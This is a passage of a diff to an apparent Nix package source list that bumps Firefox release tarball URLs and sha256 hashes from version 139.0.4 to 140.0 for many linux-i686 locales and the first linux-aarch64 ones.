"1a93ef6a47879c1c9ed3ad8d4914034093b8578724eca0d71f021ce335dd32ed"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/he/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/he/firefox-140.0.tar.xz"; locale = "he"; arch = "linux-i686"; - sha256 = "320905f0b53c4598f26f40f384861cbaae5a383f893c199f2810980803d0371b"; + sha256 = "c4d69b5bb771dab6882f5c795f7a23da2af487cfac9849c1db37f06f16e36125"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hi-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hi-IN/firefox-140.0.tar.xz"; locale = "hi-IN"; arch = "linux-i686"; - sha256 = "0bb67c56ed826d80eae37936759c4e61e9542723ec85650c7d1fb49bd30bab31"; + sha256 = "fec1b96f0bbd5ae95ad054cff0d7deff78aa6991ceb99e4d114d7d113cb0ba71"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hr/firefox-140.0.tar.xz"; locale = "hr"; arch = "linux-i686"; - sha256 = "90d798dfdce48ce1890dbd20d162f87125abdf4eb3be462221791695004f5418"; + sha256 = "486aada151ad36866be99b374fac437edcf34b5613a358ed26d79fec7581fcff"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hsb/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hsb/firefox-140.0.tar.xz"; locale = "hsb"; arch = "linux-i686"; - sha256 = "e6ae699dfeef12c80850199023e04437cb7fbdb080c8e89c1ca5bb4ff94f76c2"; + sha256 = "a52eb8041da3d24be7fadb27ef4aa985d9036ebdefea2684064eb469fca9387e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hu/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hu/firefox-140.0.tar.xz"; locale = "hu"; arch = "linux-i686"; - sha256 = "069f4b63808accee6110bed0ae704c5414b03080a5c1bd08ff18352e3b839f41"; + sha256 = "746f38a26a957507b900fb30588b4fb4596b8e661bffacf632fe09e07eec9dce"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/hy-AM/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/hy-AM/firefox-140.0.tar.xz"; locale = "hy-AM"; arch = "linux-i686"; - sha256 = "fa521147a6df1296b324cbaac2a0ae4ff07972f54027bdf6a281dd0472db67a8"; + sha256 = "ce3f877b42144b568e5881d38a6541b72ef77d907dd36593f75d6c7c3cc45b4e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ia/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ia/firefox-140.0.tar.xz"; locale = "ia"; arch = "linux-i686"; - sha256 = "7e4b9937e16fb2470df8988bbad9dd40794260e7de04f859438b7e47e8a9a210"; + sha256 = "3f71d1d874c6b0bb7773b2e64cbcaffd7e57186b0f43015a69defd8d338ff369"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/id/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/id/firefox-140.0.tar.xz"; locale = "id"; arch = "linux-i686"; - sha256 = "22f4ec4a846e904a5ed1681be4e3f840dabdc6ae627da28969bd8b9f97d3fe7c"; + sha256 = "633bd86b3076e3497b8c97d30376ce46c709b965c6d11e28314b9f9663e2f349"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/is/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/is/firefox-140.0.tar.xz"; locale = "is"; arch = "linux-i686"; - sha256 = "d7501f4c8a09320974f920b4d7dbd52dc99083f76ee8a20f1e2429837ba11b80"; + sha256 = "8861f2921a1dd22003fae3c26010a35758cb5822930924b323f78ed958a67cfe"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/it/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/it/firefox-140.0.tar.xz"; locale = "it"; arch = "linux-i686"; - sha256 = "2652df2e30ec14f334cf4003018329467c9976eb13aaf325fa2bdd36143e7d87"; + sha256 = "2ec60996b6352a883a85e39eecc8c9c32f5ab6013924084453b6a73f9efba2b5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ja/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ja/firefox-140.0.tar.xz"; locale = "ja"; arch = "linux-i686"; - sha256 = "78a22a99f12d047ca962132beee798766f4e90c20f285b8b8ee80d4ea993eea9"; + sha256 = "7a2a2870e0d3b3106be9863883c1553df15e1d1c2f395335b6c17287419243a3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ka/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ka/firefox-140.0.tar.xz"; locale = "ka"; arch = "linux-i686"; - sha256 = "fb3b3e8862859547f9b5b90a090e7d6710570bbee4787e97abb46bff28cc1c95"; + sha256 = "647dde6af325c4087b5aff52f3a28dd92221c183078e9d742635d932753a0aec"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kab/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kab/firefox-140.0.tar.xz"; locale = "kab"; arch = "linux-i686"; - sha256 = "3552aebf4a502dfe025c46507d850da260a6ba4658e5351d2251f556b83ad46f"; + sha256 = "d5155f2fd0c57886c9650a5177b8201b743ef31302f2f86539a1e162c12430e5"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kk/firefox-140.0.tar.xz"; locale = "kk"; arch = "linux-i686"; - sha256 = "e0dbd303cc0bf6b871d014c713cf82f266b9d967863accef19f6b56827382052"; + sha256 = "85cc556e7ffc2a984729b1710966f3086764aa83b166a613ab90259f359a8f21"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/km/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/km/firefox-140.0.tar.xz"; locale = "km"; arch = "linux-i686"; - sha256 = "b17961974cecc5590308355f1b508d419d84461218971ac9a908bea487fa9967"; + sha256 = "5d5834299ca4e9eb66354a91a9bf429473f0468828fec2d86c86ee40a17b2c63"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/kn/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/kn/firefox-140.0.tar.xz"; locale = "kn"; arch = "linux-i686"; - sha256 = "047486b8b9df977cf9a76f109ab03625def072a22d3bffa2dbb9c77d71520b26"; + sha256 = "2b23ec6ccc2f1945d783fc54fcb2873a96472257ff12e2493d03e0c946c9441e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ko/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ko/firefox-140.0.tar.xz"; locale = "ko"; arch = "linux-i686"; - sha256 = "0919023686ae97cf1374d1bf304375ba73754b99dd2c23f9223b1b12305f2de0"; + sha256 = "ef5955e0b1fafec57fcf60cc42a246e405a18d38a22ab78c5649da7c07b7c71d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lij/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lij/firefox-140.0.tar.xz"; locale = "lij"; arch = "linux-i686"; - sha256 = "a85760998268af3d85e276192803f8dd2a25aa32a6dce49073b04a49a9cf5a59"; + sha256 = "90dfe86b2518b32795c3828ab57651634596f9dec8f63a578a00b5cc6bb5f0ee"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lt/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lt/firefox-140.0.tar.xz"; locale = "lt"; arch = "linux-i686"; - sha256 = "529e0dee5e1d763c6e55ddc84681b5184d2969acad240ff22a214c59ad01532d"; + sha256 = "4979df9559b4b2cd1bcbc78dbadd0cae6b2c6152d8322a34816072cb54fb8d42"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/lv/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/lv/firefox-140.0.tar.xz"; locale = "lv"; arch = "linux-i686"; - sha256 = "71f092b9cec8e46243624b66e5b4b5a52a0b9986f0c3e14416c5d25a077e04c6"; + sha256 = "fb7dc8c7a41c8e06e6c349252381a5187bfd1608a4a35c68e768a6c3d5fd64de"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/mk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/mk/firefox-140.0.tar.xz"; locale = "mk"; arch = "linux-i686"; - sha256 = "04e73e2ebdae9de26fcbaf8571a41af32af4a3ca6d7ea3091471915ce20bdcc2"; + sha256 = "9e413e4f774b8fc38df94efef0efbb20f7e999d53e69c39c0607a9479cd360c2"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/mr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/mr/firefox-140.0.tar.xz"; locale = "mr"; arch = "linux-i686"; - sha256 = "324442e377367a7c0258e4fb40b6224dc2959529b8f1fed37538e45a20163595"; + sha256 = "15c1201c3b2103c875c48716bcaedc0fe90e9c9d01b520fba1b058095d944120"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ms/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ms/firefox-140.0.tar.xz"; locale = "ms"; arch = "linux-i686"; - sha256 = "4b8e02849118a679336a2abdbfb042e7bd3224a1e9222446516d91d77832d71b"; + sha256 = "828f7bceefd2bbddc9e2f6df509d53fbfbd0ad56adec778478f87c5dc6e58504"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/my/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/my/firefox-140.0.tar.xz"; locale = "my"; arch = "linux-i686"; - sha256 = "bda89eac6da7f59b3b2de2a1698f4383357e948686f9dc84998ec1d92a9652e9"; + sha256 = "d25552cc28081edda72b172fa93316920f6c652fc80eff79fa0dec676344a3d1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nb-NO/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nb-NO/firefox-140.0.tar.xz"; locale = "nb-NO"; arch = "linux-i686"; - sha256 = "9988f3cf8dad6902fe2763d9b948583c8f82299d81cea3f65a676935c7f313f1"; + sha256 = "4a6b1173f3bc03a985622ad4d6c75c4a68c4d03911ebb60a0534cc98edbc3e8d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ne-NP/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ne-NP/firefox-140.0.tar.xz"; locale = "ne-NP"; arch = "linux-i686"; - sha256 = "1b61eb98a83d23559b1fffaa7499e9e2b3f4fe2c2a0327ffb744120f5f80da52"; + sha256 = "6575d236540712abd703e70d41287bdb4c834c3da43e77663138f4a870e47d8e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nl/firefox-140.0.tar.xz"; locale = "nl"; arch = "linux-i686"; - sha256 = "f553b638e106ddc6049cf67f5634782ec6ae34f6bdbd246f81c82adc827e6c01"; + sha256 = "5398a08fffcf35b8b44d8cccfe611e448c66f5c2cd828f23f50308c2fea82fb3"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/nn-NO/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/nn-NO/firefox-140.0.tar.xz"; locale = "nn-NO"; arch = "linux-i686"; - sha256 = "86555515661c06fa00591bdb3423396269fe7a2e3ba4d73b4e1b8620eaa1f822"; + sha256 = "3dcdd81ca0b90a0a5d4d51a2b70797a20463dc713c77821b77ad511e53b0419e"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/oc/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/oc/firefox-140.0.tar.xz"; locale = "oc"; arch = "linux-i686"; - sha256 = "f242548e87b0e92ef4fb0eb68d29addcc3f58b65df2b2fb5ad913273b3fe3d95"; + sha256 = "2748f2414a9e8f75a5d70295b580669b0e5aee06c3ca93aad843b79acd8bb390"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pa-IN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pa-IN/firefox-140.0.tar.xz"; locale = "pa-IN"; arch = "linux-i686"; - sha256 = "9e72ef974c9f54f45bd21fd7cb9c6fe151dcfb34e28592a288e4b4015b32baf2"; + sha256 = "78810d2d99bc363c0a191f00e57d391ee6c2bccc8638099edb984827cc8aaa61"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pl/firefox-140.0.tar.xz"; locale = "pl"; arch = "linux-i686"; - sha256 = "6e34c07c6e49496f2a7432a208856ce79243922fd66ac2aa9ad52554edc8c23a"; + sha256 = "56bc942a139d5220a0410b44bd580afb20283ff64c046c5fe1093315fb7f39aa"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pt-BR/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pt-BR/firefox-140.0.tar.xz"; locale = "pt-BR"; arch = "linux-i686"; - sha256 = "afa37290f28660747079c4bd2ab98dba5e457367b724403fd77519fb9c9f08f0"; + sha256 = "d837122fbb3830e3c25cc54abf6d0759efafc6cf681b7061df3fee4d01b36f80"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/pt-PT/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/pt-PT/firefox-140.0.tar.xz"; locale = "pt-PT"; arch = "linux-i686"; - sha256 = "814e3f6291e2069f7943f4b2346db6ec2a988d25e745fe22cd485d050c7b775e"; + sha256 = "3715ad7474d717de8a77e6797dbfd9be4066a63ae60067a301f58c2f4f112213"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/rm/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/rm/firefox-140.0.tar.xz"; locale = "rm"; arch = "linux-i686"; - sha256 = "48baf70deb72a311169ab36de965d533f8bcb3960c281337e2b37056cedd8789"; + sha256 = "1c1f58a0f1da814587d09ef4a17daa9fc1fea8be758bd260a4bfe15459d90244"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ro/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ro/firefox-140.0.tar.xz"; locale = "ro"; arch = "linux-i686"; - sha256 = "b177ac8b560468584ccd25b3bb0fafe1e278cc7e8ae18802b6d5d7c657f233c0"; + sha256 = "914c2d80f03446855f092709d4e4175ab71942513d84e479815167cd8f135115"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ru/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ru/firefox-140.0.tar.xz"; locale = "ru"; arch = "linux-i686"; - sha256 = "d6dc4192564fde8408f898c817751c11e2cf68aa2e9844fad60ed91c9178cdef"; + sha256 = "19d66fe6d0c24967819d2192e89be9f5e29d38148ad6ec076da1b6ae70c1313f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sat/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sat/firefox-140.0.tar.xz"; locale = "sat"; arch = "linux-i686"; - sha256 = "8eeb999dd5a933c38ea7d62fe3d5c2e10fd9d07847ad462e6f5507d099f762e8"; + sha256 = "7dfc804665848b88ebe9b610f77408ea7e4dc8b118a22f25bac216ef3295d6e8"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sc/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sc/firefox-140.0.tar.xz"; locale = "sc"; arch = "linux-i686"; - sha256 = "803635fd3702461becc8ab010ea0bda7d301d5c5cbc8392a5ab58dff56d8f445"; + sha256 = "e7a2256fd55db43ba8baae4068e6292a15f9c186b3a60da4df77fdd8c840a353"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sco/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sco/firefox-140.0.tar.xz"; locale = "sco"; arch = "linux-i686"; - sha256 = "140f73e91f87117102182ba5a3202732534079cefb1e4a2b6e2433bcb7715ceb"; + sha256 = "80a17e8de05303328f79015ebc259b7440fea3d3030530e5f9a7d2b757e599df"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/si/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/si/firefox-140.0.tar.xz"; locale = "si"; arch = "linux-i686"; - sha256 = "74295d3e36c89e63491c206aa35c7a997c7e27294da858945c278e1099af36e3"; + sha256 = "132b579bf63817cf4c82ead9d71ff993eb6810678bff5e765021cf8a6f34bf46"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sk/firefox-140.0.tar.xz"; locale = "sk"; arch = "linux-i686"; - sha256 = "1fcf471dcdeda8e54de423aa0a1a0a5b5749204e01614af653ffd2918e05c151"; + sha256 = "844cbf92400e3550bcb52ca8fbdf073941908371d389d7cc1a9812624ba14ee1"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/skr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/skr/firefox-140.0.tar.xz"; locale = "skr"; arch = "linux-i686"; - sha256 = "42c02a2f60d103d2c9995997e10d633df030834bf7b4ce83d9727578cf7ff742"; + sha256 = "1fd5b1b24d87fae4eb04fd89a6e32519467cb31804345f5162c3587a107901e9"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sl/firefox-140.0.tar.xz"; locale = "sl"; arch = "linux-i686"; - sha256 = "3759a62cee67569c3d806ea5c0654b805b279fe1f73f0564bc37b2d670fdc864"; + sha256 = "52c3a9e5b642dd15c9caaca8239c7cdb228f843b3e9ad4029fc3a27e6ba1f1e8"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/son/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/son/firefox-140.0.tar.xz"; locale = "son"; arch = "linux-i686"; - sha256 = "5a42bf5cbceaba1110e6aeb4702a9e428a461c4279365718f9c97c9d05572f94"; + sha256 = "5427d6f042733ef0b39dc1e33f1a84dd3aab8cc8fb972633920a74af285dff06"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sq/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sq/firefox-140.0.tar.xz"; locale = "sq"; arch = "linux-i686"; - sha256 = "8ad93b9be577f097c463159ce387734ff7f9eb36e0ed8f9fbbacc771fc868a94"; + sha256 = "68b79ae973c70ec3055fd0aaeb660350fa4d221a8b4fa464f58bc52171c09501"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sr/firefox-140.0.tar.xz"; locale = "sr"; arch = "linux-i686"; - sha256 = "e0995b485641a2eb03a200fb7d4f7f046b90c426d23d042d9c25b56ec2f295e6"; + sha256 = "3edbbf253a196a40f93a32f46cebffa66c59b660655e22b811d7c81fad173252"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/sv-SE/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/sv-SE/firefox-140.0.tar.xz"; locale = "sv-SE"; arch = "linux-i686"; - sha256 = "a3520a6c77e8c67a76880bee35653d0445b18049a9ada355c71fbc56318bffaf"; + sha256 = "c1121301abcb85c6cf939439d35205b651a3bce7f46dcc23be1bf40f2a539cc7"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/szl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/szl/firefox-140.0.tar.xz"; locale = "szl"; arch = "linux-i686"; - sha256 = "52cb80058bf8543f14a2202855d64e83dfc8993446de69e08e2bb8abb439b222"; + sha256 = "8fcac69b94c535772ab13f5dfd95bb9b5a6c59a30d9501a46c66dc41a6447973"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ta/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ta/firefox-140.0.tar.xz"; locale = "ta"; arch = "linux-i686"; - sha256 = "7ac2507c436c6c4646be555e1e173d77563b55921242e203f4883c3cd67cd3c2"; + sha256 = "d7a1c13cb0243913e2a41352cafd1720c609877a73e144b7f6f2f472a3dbd93b"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/te/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/te/firefox-140.0.tar.xz"; locale = "te"; arch = "linux-i686"; - sha256 = "9f2220954e02fed4a702783198a7abb2c4d6fd760faf6bfd0287ed12b4a6c453"; + sha256 = "3b46900ac10bd7704c22c1020ef551458e7df95cc770d09b6965d089c773ca1d"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tg/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tg/firefox-140.0.tar.xz"; locale = "tg"; arch = "linux-i686"; - sha256 = "5f6cefd0b7aac491bcb9bba8fd1eeba47bdef89b98e779b85dc549bb6ecafda5"; + sha256 = "023b51977b8ea9e3165f6accb533e72c70290795139fdd733fbf5de89d33e148"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/th/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/th/firefox-140.0.tar.xz"; locale = "th"; arch = "linux-i686"; - sha256 = "b1d1aa04e53a3999c0c62165aa40515edca0c7acc770bfa78134eeb553358ea8"; + sha256 = "f26dca620fe1325c609ee93fdebe8934142af5272feba47b3d5ef8b91c3d1051"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tl/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tl/firefox-140.0.tar.xz"; locale = "tl"; arch = "linux-i686"; - sha256 = "972ababdcd8d3dde44576161e02261e8cd78adeea818163e45c4b90f9bfcbb23"; + sha256 = "d6318dcd53daebac02970e1b0f22153b61ee45c1ceb7b6890cd4bf54809be1ca"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/tr/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/tr/firefox-140.0.tar.xz"; locale = "tr"; arch = "linux-i686"; - sha256 = "08801042b4a12f267c93d6d781ca269dc3b2e5caed8e86403a6cb43a3d4d5b3d"; + sha256 = "34a30e1baf297748aad567a88f9356be385d8b7cea3c394085ae412144479364"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/trs/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/trs/firefox-140.0.tar.xz"; locale = "trs"; arch = "linux-i686"; - sha256 = "c7c254cf94b2cd6207c2ad434b09072d36059fa0a4d2b8c41702f69895984b7e"; + sha256 = "80f594466fb75ce05a4497db559bf4d8197ed19db52dd44bfedd803d8e1cdc64"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/uk/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/uk/firefox-140.0.tar.xz"; locale = "uk"; arch = "linux-i686"; - sha256 = "1d341cbfad5acac7ebe73300178247e7015b7eae7e00071fbe19492cc3dfc8e1"; + sha256 = "52c709b5761f386ef8c5d2358ef1114731bd421afafb53bc1bd69527bde014ac"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/ur/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/ur/firefox-140.0.tar.xz"; locale = "ur"; arch = "linux-i686"; - sha256 = "e51b2223a7cb2d88e07b2ed5c9b4d79867717c895d5774b122b8d6831e6c1be1"; + sha256 = "dc4fd7b5b23b2c9bda42049b8e551638fdf40f0e427dff872534bb5891a1a632"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/uz/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/uz/firefox-140.0.tar.xz"; locale = "uz"; arch = "linux-i686"; - sha256 = "de64d9c4fdd89e7c9848240b75071f8ac19aa9e15d68206e255d35485c3a8737"; + sha256 = "45c616db01a599f8d29751be1755847184bee254c155613be2b3d1cf0ef3312c"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/vi/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/vi/firefox-140.0.tar.xz"; locale = "vi"; arch = "linux-i686"; - sha256 = "847d66a816495a3b9aa5cdb55223d0f7e2f433dc1317e9f57ccac6f0e8b8672f"; + sha256 = "926030d4e55b1cbd109294ef38f0b717adca460f1347bc8665e44229b920e992"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/xh/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/xh/firefox-140.0.tar.xz"; locale = "xh"; arch = "linux-i686"; - sha256 = "06c0b927c4f78c193c905ba6377ce7c73adca7d365c87ee956fb5da498dc2a59"; + sha256 = "9be05a8cb72c51a6d2b5560555e2d74187574b8e883dd77379c50914c0c2b766"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/zh-CN/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/zh-CN/firefox-140.0.tar.xz"; locale = "zh-CN"; arch = "linux-i686"; - sha256 = "85bfe68ecd852a836dbb5d50622236aa5bfa29440264f5ea1e34f602c6fbbeaf"; + sha256 = "7a7090b51088cacc9f191d52bb9e615b17bf82b73b334fba7a1e3d7ac9d2fa3f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-i686/zh-TW/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-i686/zh-TW/firefox-140.0.tar.xz"; locale = "zh-TW"; arch = "linux-i686"; - sha256 = "2ffdaedc3ecaa4a1ff114a01de553820de01b5913f28cee6d414491b96f55145"; + sha256 = "7aed918551cd77d29e32b93df7ca638bc547f91c79b21ad6acc5d3ad90f8a07f"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/ach/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ach/firefox-140.0.tar.xz"; locale = "ach"; arch = "linux-aarch64"; - sha256 = "721ac1aa1a9b026395e091fd8e1301ca0a39b73927da73854f2eab4162ade513"; + sha256 = "88162f5647ee5107ac01fdf90bb4f25739d9ca7352e60adcdd37d0aac7e05649"; } { - url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-aarch64/af/firefox-139.0.4.tar.xz"; + url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/af/firefox-140.0.tar.xz"; locale = "af"; arch = 